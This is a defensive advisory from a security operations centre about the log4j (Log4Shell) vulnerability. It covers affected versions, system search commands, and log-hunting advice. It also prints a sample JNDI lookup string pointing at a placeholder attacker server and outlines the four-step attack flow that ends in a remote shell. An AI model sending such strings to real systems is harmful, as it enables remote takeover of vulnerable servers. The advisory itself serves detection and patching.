Dette links ses kun hvis JavaScript er slået fra i din browser Business Consulting Forretningsudvikling på første klasse

This article has been published by NetDesign SOC. Advice and information are used at your own risk.

For Danish version - click here

Read about NetDesign SOC here

 

*Monday January 3rd 2022. Article updated with information about log4j v. 2.17.1

What is log4j?

Log4j is a logging module that is used in a wide range of java-based software solutions.

On December 9, a critical vulnerability in the module was announced. Exploiting the vulnerability allows an attacker to take over the machine on which the log4j module is installed, and from there execute code, install programs, manipulate or delete data, or pivot further into the victim’s network.

As the vulnerability is both easy to exploit and the log4j module is as widespread as it is, it is an extremely critical vulnerability that all organizations should address.

All 2.x versions of the log4j module before version 2.16.0 are vulnerable to unauthorized remote code execution. It has since emerged that a vulnerability also exists in version 2.16.0, which in some cases allows for a Denial-of-Service attack. The latest recommendation is therefore to update log4j to version 2.17.0 (or version 2.17.1 – see below).

At the end of December, another vulnerability was announced. This vulnerability is patched with log4j version 2.17.1. It is however less critical and will not pose a risk to most organizations. The vulnerability in question is a remote code execution vulnerability, which can only be exploited if an attacker has write access to the log4j configuration file. If you are loading the log4j configuration file from a remote server or are using it in a CI/CD environment, you should consider to patch to version 2.17.1.

Version 1.x of log4j is no longer supported and it is therefore NOT recommended to use this module. However, it is not vulnerable to the described vulnerability to the same extent as version 2.x.

 

How can the log4j vulnerability be exploited?

To exploit the vulnerability, an attacker simply has to get the log4j module to log a string in the format ${jndi: ldap://attacker-server.com/xxx}, and thereby he can trick a device into communicating over e.g. the LDAP protocol with a server controlled by the attacker. The attacker can then place and execute malicious code on the victim’s server.

In short, an attacker can follow the procedure below:

  1. An attacker sends an http(s) request to a vulnerable device with a manipulated header that contains a reference to an attacker-controlled server. This can, for example, be the header field User-Agent.
  2. The vulnerable device receives the request which is logged via the log4j module. Due to the mentioned vulnerability, the module processes the user agent string as code.
  3. The vulnerable device executes the code, and hence sends a request to the server, which is controlled by the attacker.
  4. The attacker's server responds with a payload that, for example, may contain a remote shell or other malicious code executed on the vulnerable device.

 

How do we know if we are vulnerable?

  • Create an overview of which systems and applications you have in your environment. Find out if they are using the log4j module. Have a look at the suppliers' websites or use, for example, this list from NCSC-NL, who maintains an overview of a large number of software products and whether they are vulnerable or not. Remember it is not an exhaustive list.
  • To get an overview of which devices are potentially vulnerable, it is also recommended to search for files related to the log4j module on your devices. This can be done in several ways:

Search for .jar files that are part of the log4j module

Windows systems:

Run the following PowerShell command:

gci 'C:\' -rec -force -include *.jar -ea 0 | foreach {select-string "JndiLookup.class" $_} | select -exp Path

Linux systems:

Run the following commands:

find / 2>/dev/null -regex ".*.jar" -type f | xargs -I{} grep JndiLookup.class "{}" 
ps aux | egrep ‘[l]og4j’ 
find / -name “log4j*” 
lsof | grep log4j

 

  • Scan for known related file hashes:
    https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
  • Run a vulnerability scan in your environment using a vulnerability scanner with modules specifically designed to detect devices with log4j vulnerabilities.
  • Assess all devices that show signs of being vulnerable.
  • Is there already a patch available for the piece of software that is vulnerable? Install it!
  • Do you still have vulnerable devices? As far as possible, isolate these devices in your network, block outbound traffic from these devices if possible, and ensure that vulnerable applications run with a minimum of permissions.

 

How do we know if the vulnerability has been exploited in our network?

Hopefully you are already logging activity on your devices and in your network. If not, enable logging on your network equipment, workstations, servers, applications and services.

Start looking for activity in your logs that indicates that the vulnerability has been exploited or exploitation has been attempted. Look for:

  • Inbound and outbound communication to addresses associated with attacks (see "Threat feeds" below)
  • New traffic patterns in your network. For example, servers that suddenly start communicating with servers in countries they do not normally communicate with, or servers that generate much more traffic than usual.
  • Strings in http request headers that indicate exploitation attempts (for example via this threat feed from SANS)

There are indications of exploitation attempts all the way back to December 1. Your investigations should therefore cover the period from around December 1 and onwards.

It is important to emphasize that the situation around this vulnerability is evolving rapidly and that the attackers who are trying to exploit it are constantly trying to be one step ahead. The best form of mitigation at the moment is therefore to update vulnerable products and block outgoing traffic from devices that cannot be updated.

See also the first link below about Apache Log4j for the latest information about vulnerabilities and updates to the module.

 

Other resources:

 

Threat feeds:

 

Scanner and other tools (these are not verified by NetDesign SOC):